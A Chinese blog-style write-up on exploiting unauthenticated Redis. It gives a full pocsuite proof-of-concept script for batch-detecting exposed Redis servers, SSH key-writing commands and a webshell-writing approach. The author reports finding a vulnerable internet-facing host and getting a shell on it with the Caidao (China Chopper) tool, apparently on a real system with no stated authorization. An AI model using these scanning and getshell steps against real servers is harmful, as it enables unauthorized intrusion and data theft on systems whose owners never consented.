redis未授權訪問的問題一年前就爆了,當時剛開始學安全,還不太懂。今天借着工作的機會來搞一把,看看能不能拿下一台服務器。其實前幾天就寫好了一直想找個實際環境復現一下,一直沒有找到,只說下大致思路。
首先redis未授權的漏洞有幾個先決條件,自己搭建漏洞環境的話需要在配置文件redis.conf中修改
1、允許其他網段連接
2、關閉protected-mode
漏洞的發現可以批量跑POC,大概原理就是通過sock發帶有info的payload給目標服務器,然后看返回的信息中有沒有關鍵字。這里懶得寫了,放一個網上找的pocsuite版的:
1 #!/usr/bin/env python 2 # -*- coding:utf-8 -*- 3 4 import socket 5 import urlparse 6 from pocsuite.poc import POCBase, Output 7 from pocsuite.utils import register 8 9 10 class TestPOC(POCBase): 11 vulID = '89339' 12 version = '1' 13 author = ['Anonymous'] 14 vulDate = '2015-10-26' 15 createDate = '2015-10-26' 16 updateDate = '2015-10-26' 17 references = ['http://sebug.net/vuldb/ssvid-89339'] 18 name = 'Redis 未授權訪問 PoC' 19 appPowerLink = 'http://redis.io/' 20 appName = 'Redis' 21 appVersion = 'All' 22 vulType = 'Unauthorized access' 23 desc = ''' 24 redis 默認不需要密碼即可訪問,黑客直接訪問即可獲取數據庫中所有信息,造成嚴重的信息泄露。 25 ''' 26 samples = [''] 27 28 def _verify(self): 29 result = {} 30 payload = '\x0d\x0a\x69\x6e\x66\x6f\x0d\x0a' 31 s = socket.socket() 32 socket.setdefaulttimeout(10) 33 try: 34 host = urlparse.urlparse(self.url).netloc 35 port = 6379 36 s.connect((host, port)) 37 s.send(payload) 38 recvdata = s.recv(1024) 39 if recvdata and 'redis_version' in recvdata: 40 result['VerifyInfo'] = {} 41 result['VerifyInfo']['URL'] = self.url 42 result['VerifyInfo']['Port'] = port 43 except: 44 pass 45 s.close() 46 return self.parse_attack(result) 47 48 def _attack(self): 49 return self._verify() 50 51 def parse_attack(self, result): 52 output = Output(self) 53 if result: 54 output.success(result) 55 else: 56 output.fail('Internet nothing returned') 57 return output 58 59 register(TestPOC)
實際測試時發現這么一台外網主機存在此問題
下面嘗試getshell,通常的方法有如下幾種:
1、寫公鑰
首先在本地生產公私鑰文件:
$ssh-keygen –t rsa
然后將公鑰寫入文件
$ (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > eval.txt
再連接Redis寫入文件,這里很不幸,連接后設置redis路徑時提示了permission denied,看來不是root權限,這種方法的嘗試失敗
2、傳webshell
用nmap掃出來開放了http80端口,看看是否能夠寫入一句話
菜刀是可以連接的
-done